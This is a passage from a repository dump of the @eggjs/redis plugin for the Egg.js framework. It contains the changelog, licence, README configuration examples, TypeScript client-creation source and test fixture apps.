    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n---\n\n## [3.1.0](https://github.com/eggjs/redis/compare/v3.0.0...v3.1.0) (2025-03-23)\n\n\n### Features\n\n* use oxlint and prettier ([#48](https://github.com/eggjs/redis/issues/48)) ([9900e87](https://github.com/eggjs/redis/commit/9900e87965068b58b4ffcafc2ac1491c0f03b609))\n\n## [3.0.0](https://github.com/eggjs/redis/compare/v2.6.1...v3.0.0) (2025-01-21)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\nHere are the release notes for this update:\n\n- **New Features**\n\t- Updated Redis plugin to support Valkey and Redis\n\t- Added support for Node.js 18.19.0 and newer versions\n\t- Enhanced TypeScript configuration and type definitions\n\n- **Breaking Changes**\n\t- Renamed package from `egg-redis` to `@eggjs/redis`\n\t- Migrated from generator functions to async/await syntax\n\t- Updated minimum Node.js version requirement to 18.19.0\n\n- **Improvements**\n\t- Improved Redis client configuration options\n\t- Enhanced module compatibility with ES modules\n\t- Updated dependencies and plugin configuration\n\n- **Bug Fixes**\n\t- Refined Redis connection and initialization process\n\t- Improved error handling and logging for Redis connections\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#44](https://github.com/eggjs/redis/issues/44)) ([ceadd9d](https://github.com/eggjs/redis/commit/ceadd9ded3b31a41dac730846b537fbefd4d7687))\n\n## [2.6.1](https://github.com/eggjs/redis/compare/v2.6.0...v2.6.1) (2025-01-19)\n\n\n### Bug Fixes\n\n* typings of config for multi cluster clients ([#32](https://github.com/eggjs/redis/issues/32)) ([511c75c](https://github.com/eggjs/redis/commit/511c75c78a3d1ba990ef050dd70f9e87dcae6312))\n\n2.6.0 / 2024-04-07\n==================\n\n**features**\n  * [[`9f02a13`](http://github.com/eggjs/egg-redis/commit/9f02a13bca2a50f7b618d8987604cc6e34c2d646)] - feat: remove node password and db validate on cluster mode (#39) (KenyeeCheung <<kenyeecheung@icloud.com>>)\n\n2.5.0 / 2023-06-06\n==================\n\n**features**\n  * [[`3088929`](http://github.com/eggjs/egg-redis/commit/3088929586dbf4127a9846767ef247e6c663d883)] - feat: support redis path mode (#33) (QingDeng <<zrl412@163.com>>)\n\n**others**\n  * [[`83d5404`](http://github.com/eggjs/egg-redis/commit/83d54044eff260fc3d704a394c410469f4e8b89e)] - docs: fix default redis version (dead-horse <<dead_horse@qq.com>>)\n\n2.4.0 / 2019-06-13\n==================\n\n**features**\n  * [[`5fbd718`](http://github.com/eggjs/egg-redis/commit/5fbd718c60e4c82a94f34a96583ed877d8e4fa5f)] - feat: add config.client.weakDependent (#30) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`b307f52`](http://github.com/eggjs/egg-redis/commit/b307f52ff8d9b67769b57498bb39fa835916d472)] - chore: test on node@12 (dead-horse <<dead_horse@qq.com>>)\n\n2.3.2 / 2019-04-24\n==================\n\n**fixes**\n  * [[`ce7e40e`](http://github.com/eggjs/egg-redis/commit/ce7e40eaae3f635654aaa101493e6cf4a921c6cc)] - fix: should listen redis ready event before app start (#29) (killa <<killa123@126.com>>)\n\n2.3.1 / 2019-04-10\n==================\n\n**fixes**\n  * [[`3b0fa5a`](http://github.com/eggjs/egg-redis/commit/3b0fa5a536517f722e94a304a7eb9e0e530a6328)] - fix(types): add multi client support for typescript (#27) (mars <<marshalys@gmail.com>>)\n\n2.3.0 / 2018-12-18\n==================\n\n  * feat: redis sentinel config support (#26)\n  * deps: add @types/ioredis to deps (#25)\n\n2.2.0 / 2018-12-04\n==================\n\n**features**\n  * [[`f062dd5`](http://github.com/eggjs/egg-redis/commit/f062dd571ce17f569a65066a95f600e64b3d15c2)] - feat: support typescript (#23) (耐小心 <<qiqizjl@qq.com>>)\n\n2.1.0 / 2018-11-28\n==================\n\n**features**\n  * [[`ee3fda1`](http://github.com/eggjs/egg-redis/commit/ee3fda1f95a178a6120fe32141c903d19f7f5ecb)] - feat: support customize ioredis version (#21) (Yiyu He <<dead_horse@qq.com>>)\n\n2.0.1 / 2018-11-28\n==================\n\n**fixes**\n  * [[`fbfbbfa`](http://github.com/eggjs/egg-redis/commit/fbfbbfabe4650a529f2d2d46983e1b05df1fb347)] - fix: show real redis server time by TIME command (#20) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.0.0 / 2018-02-27\n==================\n\n**others**\n  * [[`70e85e2`](http://github.com/eggjs/egg-redis/commit/70e85e2710c729245281b78007be4d84fba10dbe)] - chore: add package.files (dead-horse <<dead_horse@qq.com>>)\n  * [[`45585e8`](http://github.com/eggjs/egg-redis/commit/45585e81ff30bd2e98241c924605272b516f9b9a)] - chore: update dependencies and fix ci (#16) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`8b88641`](http://github.com/eggjs/egg-redis/commit/8b886413ff60539b4e53fce50cfc8be0790d0612)] - refactor: use async function (#15) (QIAO <<445271466@qq.com>>)\n  * [[`8dd3776`](http://github.com/eggjs/egg-redis/commit/8dd3776c346e22c7e9afc14a141c026f7d6dd7ae)] - deps: Update ioredis (#14) (thegatheringstorm <<tgs@tgs.blue>>)\n  * [[`59d9579`](http://github.com/eggjs/egg-redis/commit/59d9579f37d5b54d62674d1ab3ba1274537b5590)] - docs: fix some typo (#13) (kyle <<succpeking@hotmail.com>>)\n  * [[`de17719`](http://github.com/eggjs/egg-redis/commit/de17719f93bf566f5499d8ceb3f4588de3f2d7d3)] - docs:add nopassword doc (#12) (Adams <<jtyjty99999@126.com>>)\n  * [[`5b0dd99`](http://github.com/eggjs/egg-redis/commit/5b0dd9963d1e78e34ebe6fb6ac7aaa663ee23115)] - chore:bump to 1.0.2 (jtyjty99999 <<jtyjty99999@126.com>>),\n\n1.0.2 / 2017-07-13\n==================\n\n  * fix : fix check method (#10)\n  * docs: add configuration details (#9)\n  * test: upgrade all deps (#7)\n  * docs:fix redis cluster doc (#6)\n\n1.0.1 / 2017-02-21\n==================\n\n  * fix:fix zero judgement (#5)\n\n1.0.0 / 2017-02-17\n==================\n\n  * feat: implement with ioredis"
  },
  {
    "path": "plugins/redis/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/redis/README.md",
    "content": "# @eggjs/redis\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/redis.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/redis)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/redis.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/redis\n[snyk-image]: https://snyk.io/test/npm/@eggjs/redis/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/redis\n[download-image]: https://img.shields.io/npm/dm/@eggjs/redis.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/redis\n\nValkey / Redis client (support [redis protocol](https://redis.io/docs/latest/develop/reference/protocol-spec/)) based on iovalkey for egg framework\n\n## Version Notes\n\n`@eggjs/redis` only supports `egg@4` now, if you are using `egg@3` or `egg@2`, you should use [`egg-redis`](https://github.com/eggjs/redis/tree/2.x).\n\n## Install\n\n```bash\nnpm i @eggjs/redis\n```\n\nValkey / Redis Plugin for egg, support egg application access to Valkey / Redis Service.\n\nThis plugin based on [ioredis](https://github.com/redis/ioredis).\nIf you want to know specific usage, you should refer to the document of [ioredis](https://github.com/redis/ioredis).\n\n## Configuration\n\nChange `${app_root}/config/plugin.ts` to enable redis plugin:\n\n```ts\nimport redisPlugin from '@eggjs/redis';\n\nexport default {\n  ...redisPlugin(),\n};\n```\n\nConfigure redis information in `${app_root}/config/config.default.ts`:\n\n**Single Client**\n\n```ts\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  redis: {\n    client: {\n      port: 6379, // Redis port\n      host: '127.0.0.1', // Redis host\n      password: 'auth',\n      db: 0,\n    },\n  },\n});\n```\n\n**Multi Clients**\n\n```ts\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  redis: {\n    clients: {\n      foo: {\n        // instanceName. See below\n        port: 6379, // Redis port\n        host: '127.0.0.1', // Redis host\n        password: 'auth',\n        db: 0,\n      },\n      bar: {\n        port: 6379,\n        host: '127.0.0.1',\n        password: 'auth',\n        db: 1,\n      },\n    },\n  },\n});\n```\n\n**Sentinel**\n\n```ts\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  redis: {\n    client: {\n    // Sentinel instances\n    sentinels: [\n      {\n        port: 26379, // Sentinel port\n        host: '127.0.0.1', // Sentinel host\n      },\n      // other sentinel instance config\n    ],\n    name: 'mymaster', // Master name\n    password: 'auth',\n    db: 0,\n  },\n};\n```\n\n**No password**\n\nRedis support no authentication access, but we are highly recommend you to use redis `requirepass` in `redis.conf`.\n\n```bash\n$vim /etc/redis/redis.conf\n\nrequirepass xxxxxxxxxx  // xxxxxxxxxx is your password\n```\n\nBecause it may be cause security risk, refer:\n\n- <https://ruby-china.org/topics/28094>\n- <https://zhuoroger.github.io/2016/07/29/redis-sec/>\n\nIf you want to access redis with no password, use `password: null`.\n\nSee [ioredis API Documentation](https://github.com/redis/ioredis#basic-usage) for all available options.\n\n### Customize `ioredis` version\n\n`@eggjs/redis` using `ioredis@5` now, if you want to use other version of iovalkey or ioredis,\nyou can pass the instance by `config.redis.Redis`:\n\n```ts\n// config/config.default.ts\n\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  redis: {\n    Redis: require('ioredis'), // customize ioredis version, only set when you needed\n    client: {\n      port: 6379, // Redis port\n      host: '127.0.0.1', // Redis host\n      password: 'auth',\n      db: 0,\n    },\n  },\n});\n```\n\n**weakDependent**\n\n```ts\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  redis: {\n    client: {\n      port: 6379, // Redis port\n      host: '127.0.0.1', // Redis host\n      password: 'auth',\n      db: 0,\n      weakDependent: true, // the redis instance won't block app start\n    },\n  },\n});\n```\n\n## Usage\n\nIn controller, you can use `app.redis` to get the redis instance, check [ioredis](https://github.com/redis/ioredis#basic-usage) to see how to use.\n\n```ts\n// app/controller/home.ts\n\nimport { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  async index() {\n    const { ctx, app } = this;\n    // set\n    await app.redis.set('foo', 'bar');\n    // get\n    ctx.body = await app.redis.get('foo');\n  }\n}\n```\n\n### Multi Clients\n\nIf your Configure with multi clients, you can use `app.redis.get(instanceName)` to get the specific redis instance and use it like above.\n\n```ts\n// app/controller/home.ts\n\nexport default class HomeController extends Controller {\n  async index() {\n    const { ctx, app } = this;\n    // set\n    await app.redis.getSingletonInstance('instance1').set('foo', 'bar');\n    // get\n    ctx.body = await app.redis.getSingletonInstance('instance1').get('foo');\n  }\n}\n```\n\n### Clients Depend on Redis Cluster\n\nBefore you start to use Redis Cluster, please checkout the [document](https://redis.io/topics/cluster-tutorial) first, especially confirm `cluster-enabled yes` in Redis Cluster configuration file.\n\nIn controller, you also can use `app.redis` to get the redis instance based on Redis Cluster.\n\n```ts\n// app/config/config.default.ts\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  redis: {\n    client: {\n      cluster: true,\n      nodes: [\n        {\n          host: '127.0.0.1',\n          port: '6379',\n          family: 'user',\n          password: 'password',\n          db: 'db',\n        },\n        {\n          host: '127.0.0.1',\n          port: '6380',\n          family: 'user',\n          password: 'password',\n          db: 'db',\n        },\n      ],\n    },\n  },\n});\n\n// app/controller/home.ts\nimport { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  async index() {\n    const { ctx, app } = this;\n    // set\n    await app.redis.set('foo', 'bar');\n    // get\n    ctx.body = await app.redis.get('foo');\n  }\n}\n```\n\n## For the local dev\n\nRun docker compose to start test redis service\n\n```bash\ndocker compose -f docker-compose.yml up -d\n```\n\nRun the unit tests\n\n```bash\npnpm test\n```\n\nStop test redis service\n\n```bash\ndocker compose -f docker-compose.yml down\n```\n\n## Using ioredis-mock for Unit Tests\n\nYou can use [ioredis-mock](https://github.com/stipsan/ioredis-mock) to replace the real Redis client in unit tests. This eliminates the need for a running Redis server during testing, making your CI faster and local development simpler.\n\n### Install\n\n```bash\nnpm i --save-dev ioredis-mock @types/ioredis-mock\n```\n\n### Configure\n\nIn your test config (e.g., `config/config.unittest.ts`), override the `Redis` class:\n\n```ts\nimport RedisMock from 'ioredis-mock';\nimport type { EggAppInfo, PartialEggConfig } from 'egg';\n\nexport default function (_appInfo: EggAppInfo): PartialEggConfig {\n  return {\n    redis: {\n      Redis: RedisMock,\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n        weakDependent: true,\n      },\n    },\n  };\n}\n```\n\n> **Important**: You must set `weakDependent: true` when using `ioredis-mock`. Mock clients emit the `ready` event synchronously during construction, before the plugin's listener is attached. Without `weakDependent: true`, the app will hang on startup waiting for a `ready` event that was already emitted.\n\n### Notes\n\n- `ioredis-mock` provides an in-memory Redis implementation that supports most common commands (`get`, `set`, `setex`, `del`, `incr`, `zadd`, `zpopmin`, `zcount`, etc.)\n- Each test worker gets an isolated in-memory Redis instance\n- For production deployment testing, you should still use a real Redis server\n- You can remove `redis` service containers from your CI workflow when using `ioredis-mock` for unit tests\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/redis/docker-compose.yml",
    "content": "name: eggjs_redis_dev\n\nservices:\n  redis:\n    image: redis:alpine\n    ports:\n      - 6379:6379\n"
  },
  {
    "path": "plugins/redis/package.json",
    "content": "{\n  \"name\": \"@eggjs/redis\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"Valkey / Redis plugin for egg\",\n  \"keywords\": [\n    \"Valkey\",\n    \"database\",\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"redis\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/redis\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"jtyjty99999\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/redis\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/redis\": \"./src/lib/redis.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/redis\": \"./dist/lib/redis.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"ioredis\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"detect-port\": \"^2.1.0\",\n    \"egg\": \"workspace:*\",\n    \"ioredis-mock\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/redis/src/agent.ts",
    "content": "import { RedisBoot } from './lib/redis.ts';\n\nexport default RedisBoot;\n"
  },
  {
    "path": "plugins/redis/src/app.ts",
    "content": "import { RedisBoot } from './lib/redis.ts';\n\nexport default RedisBoot;\n"
  },
  {
    "path": "plugins/redis/src/config/config.default.ts",
    "content": "import type { RedisOptions, ClusterOptions, Redis } from 'ioredis';\n\nexport interface RedisClientOptions extends RedisOptions {\n  /**\n   * Whether to enable weakDependent mode, the redis client start will not block the application start\n   *\n   * Default to `undefined`\n   */\n  weakDependent?: boolean;\n}\n\nexport interface RedisClusterOptions extends ClusterOptions {\n  cluster: true;\n  nodes: RedisClientOptions[];\n}\n\nexport interface RedisConfig {\n  /**\n   * Default redis client config\n   *\n   * Default to `{}`\n   */\n  default: RedisClientOptions;\n  /**\n   * Single Redis or Cluster Redis config\n   */\n  client?: RedisClientOptions | RedisClusterOptions;\n  /**\n   * Multi Redis config\n   */\n  clients?: Record<string, RedisClientOptions>;\n  /**\n   * redis client will try to use TIME command to detect client is ready or not\n   * if your redis server not support TIME command, please set this config to false\n   * see https://redis.io/commands/time\n   *\n   * Default to `true`\n   */\n  supportTimeCommand: boolean;\n  /**\n   * Whether to enable redis for `app`\n   *\n   * Default to `true`\n   */\n  app: boolean;\n  /**\n   * Whether to enable redis for `agent`\n   *\n   * Default to `false`\n   */\n  agent: boolean;\n  /**\n   * Customize Redis client class. Use this to replace ioredis with a compatible\n   * alternative, such as iovalkey or ioredis-mock for unit testing.\n   *\n   * When using ioredis-mock, you must also set `weakDependent: true` in the\n   * client config to avoid startup hangs (mock clients emit 'ready' synchronously\n   * before the plugin's listener is attached).\n   *\n   * @example\n   * ```ts\n   * // config/config.unittest.ts\n   * import RedisMock from 'ioredis-mock';\n   * import type { EggAppInfo, PartialEggConfig } from 'egg';\n   *\n   * export default function (_appInfo: EggAppInfo): PartialEggConfig {\n   *   return {\n   *     redis: {\n   *       Redis: RedisMock,\n   *       client: { host: '127.0.0.1', port: 6379, password: '', db: 0, weakDependent: true },\n   *     },\n   *   };\n   * }\n   * ```\n   *\n   * Default to `undefined`, which means using the built-in ioredis\n   */\n  Redis?: typeof Redis;\n}\n\nexport default {\n  redis: {\n    default: {},\n    app: true,\n    agent: false,\n    supportTimeCommand: true,\n    // Single Redis\n    // client: {\n    //   host: 'host',\n    //   port: 'port',\n    //   family: 'user',\n    //   password: 'password',\n    //   db: 'db',\n    // },\n    //\n    // Cluster Redis\n    // client: {\n    //   cluster: true,\n    //   nodes: [{\n    //     host: 'host',\n    //     port: 'port',\n    //     family: 'user',\n    //     password: 'password',\n    //     db: 'db',\n    //   }, {\n    //     host: 'host',\n    //     port: 'port',\n    //     family: 'user',\n    //     password: 'password',\n    //     db: 'db',\n    //   },\n    // ]},\n    //\n    // Multi Redis\n    // clients: {\n    //   instance1: {\n    //     host: 'host',\n    //     port: 'port',\n    //     family: 'user',\n    //     password: 'password',\n    //     db: 'db',\n    //   },\n    //   instance2: {\n    //     host: 'host',\n    //     port: 'port',\n    //     family: 'user',\n    //     password: 'password',\n    //     db: 'db',\n    //   },\n    // },\n  } as RedisConfig,\n};\n"
  },
  {
    "path": "plugins/redis/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * Redis plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import redisPlugin from '@eggjs/redis';\n *\n * export default {\n *   ...redisPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'redis',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/redis/src/lib/redis.ts",
    "content": "import assert from 'node:assert';\nimport { once } from 'node:events';\n\nimport type { ILifecycleBoot, EggApplicationCore } from 'egg';\nimport type { Redis } from 'ioredis';\nimport IoRedis from 'ioredis';\n\nimport type { RedisClusterOptions, RedisClientOptions } from '../config/config.default.ts';\n\nexport class RedisBoot implements ILifecycleBoot {\n  private readonly app: EggApplicationCore;\n\n  constructor(app: EggApplicationCore) {\n    this.app = app;\n  }\n\n  async didLoad(): Promise<void> {\n    const app = this.app;\n    if (app.type === 'application' && app.config.redis.app) {\n      app.addSingleton('redis', createClient);\n    } else if (app.type === 'agent' && app.config.redis.agent) {\n      app.addSingleton('redis', createClient);\n    }\n  }\n}\n\nlet count = 0;\nfunction createClient(options: RedisClusterOptions | RedisClientOptions, app: EggApplicationCore) {\n  // Use default import for ioredis CJS module to avoid named export interop issues.\n  // ioredis uses `exports = module.exports = require(\"./Redis\").default` which causes\n  // cjs-module-lexer to fail resolving named exports in some ESM interop scenarios.\n  const RedisClass: typeof Redis = app.config.redis.Redis ?? (IoRedis as unknown as typeof Redis);\n  let client;\n\n  if ('cluster' in options && options.cluster === true) {\n    const config = options as RedisClusterOptions;\n    assert(\n      config.nodes && config.nodes.length > 0,\n      '[@eggjs/redis] cluster nodes configuration is required when use cluster redis',\n    );\n\n    for (const client of config.nodes) {\n      assert(\n        client.host && client.port,\n        `[@eggjs/redis] 'host: ${client.host}', 'port: ${client.port}' are required on config`,\n      );\n    }\n    app.coreLogger.info('[@eggjs/redis] cluster connecting');\n    client = new RedisClass.Cluster(config.nodes, config);\n  } else if ('sentinels' in options && options.sentinels) {\n    const config = options as RedisClientOptions;\n    assert(\n      config.sentinels && config.sentinels.length > 0,\n      '[@eggjs/redis] sentinels configuration is required when use redis sentinel',\n    );\n\n    for (const sentinel of config.sentinels) {\n      assert(\n        sentinel.host && sentinel.port,\n        `[@eggjs/redis] 'host: ${sentinel.host}', 'port: ${sentinel.port}' are required on config`,\n      );\n    }\n\n    const mask = config.password ? '***' : config.password;\n    assert(\n      config.name && config.password !== undefined && config.db !== undefined,\n      `[@eggjs/redis] 'name of master: ${config.name}', 'password: ${mask}', 'db: ${config.db}' are required on config`,\n    );\n\n    app.coreLogger.info('[@eggjs/redis] sentinel connecting start');\n    client = new RedisClass(config);\n  } else {\n    const config = options as RedisClientOptions;\n    const mask = config.password ? '***' : config.password;\n    assert(\n      (config.host && config.port && config.password !== undefined && config.db !== undefined) || config.path,\n      `[@eggjs/redis] 'host: ${config.host}', 'port: ${config.port}', 'password: ${mask}', 'db: ${config.db}' or 'path:${config.path}' are required on config`,\n    );\n    if (config.host) {\n      app.coreLogger.info(\n        '[@eggjs/redis] server connecting redis://:***@%s:%s/%s',\n        config.host,\n        config.port,\n        config.db,\n      );\n    } else {\n      app.coreLogger.info('[@eggjs/redis] server connecting %s', config.path || config);\n    }\n\n    client = new RedisClass(config);\n  }\n\n  client.on('connect', () => {\n    app.coreLogger.info('[@eggjs/redis] client connect success');\n  });\n  client.on('error', (err) => {\n    app.coreLogger.error('[@eggjs/redis] client error: %s', err);\n    app.coreLogger.error(err);\n  });\n\n  const index = count++;\n  app.lifecycle.registerBeforeStart(async () => {\n    if ('weakDependent' in options && options.weakDependent) {\n      app.coreLogger.info(`[@eggjs/redis] instance[${index}] is weak dependent and won't block app start`);\n      client.once('ready', () => {\n        app.coreLogger.info(`[@eggjs/redis] instance[${index}] status OK`);\n      });\n      return;\n    }\n\n    await Promise.race([once(client, 'ready'), once(client, 'error')]);\n    app.coreLogger.info(`[@eggjs/redis] instance[${index}] status OK, client ready`);\n  }, `[@eggjs/redis] instance[${index}] start check`);\n\n  return client;\n}\n"
  },
  {
    "path": "plugins/redis/src/types.ts",
    "content": "import type { Singleton } from 'egg';\nimport type { Redis } from 'ioredis';\n\nimport type { RedisConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  interface EggAppConfig {\n    /**\n     * Redis plugin config\n     */\n    redis: RedisConfig;\n  }\n\n  interface EggApplicationCore {\n    redis: Redis & Singleton<Redis>;\n  }\n}\n"
  },
  {
    "path": "plugins/redis/test/__snapshots__/redis.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/redis.test.ts > default config > should make default config stable 1`] = `\n{\n  \"agent\": false,\n  \"app\": true,\n  \"client\": {\n    \"db\": \"0\",\n    \"host\": \"127.0.0.1\",\n    \"password\": \"\",\n    \"port\": 6379,\n  },\n  \"default\": {},\n  \"supportTimeCommand\": true,\n}\n`;\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp/config/config.js",
    "content": "exports.redis = {\n  client: {\n    host: '127.0.0.1',\n    port: 6379,\n    password: '',\n    db: '0',\n  },\n  agent: true,\n};\n\nexports.logger = {\n  coreLogger: {\n    level: 'INFO',\n  },\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-customize/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-customize/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-customize/config/config.js",
    "content": "'use strict';\n\nexports.redis = {\n  client: {\n    host: '127.0.0.1',\n    port: 6379,\n    password: '',\n    db: '0',\n  },\n  agent: true,\n  Redis: require('ioredis'),\n};\n\nexports.logger = {\n  coreLogger: {\n    level: 'INFO',\n  },\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-customize/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-customize/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-default/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-default/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-default/config/config.js",
    "content": "exports.redis = {\n  client: {\n    host: '127.0.0.1',\n    port: 6379,\n    password: '',\n    db: '0',\n  },\n};\n\nexports.logger = {\n  coreLogger: {\n    level: 'INFO',\n  },\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-default/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-default/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-disable-offline-queue/app/controller/home.js",
